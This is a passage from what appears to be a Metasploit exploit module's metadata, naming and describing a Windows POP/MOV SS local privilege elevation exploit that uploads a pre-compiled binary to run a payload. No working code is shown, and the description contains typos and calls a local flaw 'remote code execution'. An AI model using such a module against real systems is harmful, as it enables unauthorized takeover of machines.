'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
'Description' => %q{
This module exploits a vulnerability in a statement in the system programming guide
of the Intel 64 and IA-32 architectures software developer's manual being mishandled
in various operating system kerneles, resulting in unexpected behavior for #DB
excpetions that are deferred by MOV SS or POP SS.
This module will upload the pre-compiled exploit and use it to execute the final
payload in order to gain remote code execution.
